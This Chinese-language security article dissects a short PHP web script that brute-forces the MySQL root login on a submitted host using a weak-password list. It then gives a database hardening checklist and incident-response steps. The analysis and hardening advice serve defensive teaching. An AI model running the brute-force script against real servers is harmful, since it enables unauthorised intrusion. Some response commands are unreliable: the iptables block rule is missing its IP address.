⚠ 安全警示:本文分析恶意脚本原理仅用于防御教育,严禁用于非授权渗透测试。未经授权访问计算机系统违反《刑法》第285条、第286条,最高可判七年有期徒刑。
恶意脚本代码分析
<?php
// 简化版恶意逻辑
if ($_POST['submit']) {
$host = $_POST['host'];
$username = "root"; // 固定用户名
$passwords = ['', '123456', 'admin', 'root', 'password']; // 弱口令字典
foreach ($passwords as $pwd) {
if (@mysql_connect($host, $username, $pwd)) {
echo "破解成功:$pwd";
break;
}
}
}
?>
<form method="post">
目标IP: <input name="host"> <input type="submit" name="submit" value="爆破">
</form>
脚本技术特征
| 特征 | 描述 | 危害等级 |
使用 mysql_connect | PHP 5.5+ 已弃用,7.0+ 已移除 | 低(仅旧环境生效) |
错误抑制 @ | 隐藏连接失败警告,静默尝试 | 中 |
| 硬编码 root 用户 | 针对默认高权限账号 | 高 |
| 弱口令字典 | 包含空密码、123456、admin 等 Top 100 弱密码 | 高 |
| 无频率限制 | 可高速并发尝试,易触发防火墙封禁 | 中 |
MySQL 账号安全加固清单
- 禁用 root 远程登录
DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost','127.0.0.1','::1');
FLUSH PRIVILEGES;
- 强制复杂密码策略(MySQL 5.7+)
INSTALL PLUGIN validate_password SONAME 'validate_password.so';
SET GLOBAL validate_password_policy = MEDIUM;
SET GLOBAL validate_password_length = 12;
- 创建最小权限应用账号
CREATE USER 'app_user'@'10.0.0.%' IDENTIFIED BY 'Str0ngP@ssw0rd!';
GRANT SELECT, INSERT, UPDATE, DELETE ON app_db.* TO 'app_user'@'10.0.0.%';
- 网络层访问控制
li>安全组/防火墙仅放行应用服务器 IP 访问 3306
- 数据库服务器禁用公网 IP
- VPC 私有网络隔离
- 启用 SSL 连接
[mysqld]
require_secure_transport = ON
ssl_ca = /etc/mysql/ssl/ca.pem
ssl_cert = /etc/mysql/ssl/server-cert.pem
ssl_key = /etc/mysql/ssl/server-key.pem
- 审计日志监控
- 安装
audit_log 插件记录登录尝试
- SIEM 关联分析:短时多次失败登录 → 告警/封禁
- 定期审查
mysql.user 异常账号
- 连接频率限制
# MySQL 8.0+
CREATE USER 'app_user'@'%' IDENTIFIED BY 'pass'
WITH MAX_CONNECTIONS_PER_HOUR 1000
MAX_QUERIES_PER_HOUR 5000;
应用层防护
- 数据库连接池配置合理超时与重试
- 错误信息不回显给前端(防止信息泄露)
- 使用预处理语句防止 SQL 注入
- 定期轮换数据库密码,配合密钥管理系统
应急响应
# 发现暴力破解时:
# 1. 立即封禁攻击源 IP
iptables -A INPUT -s -j DROP
# 2. 检查是否有成功登录
grep "Access denied" /var/log/mysqld.log | awk '{print $NF}' | sort | uniq -c | sort -nr
# 3. 紧急修改所有疑似泄露账号密码
# 4. 审计数据完整性,检查异常 DDL/DML 操作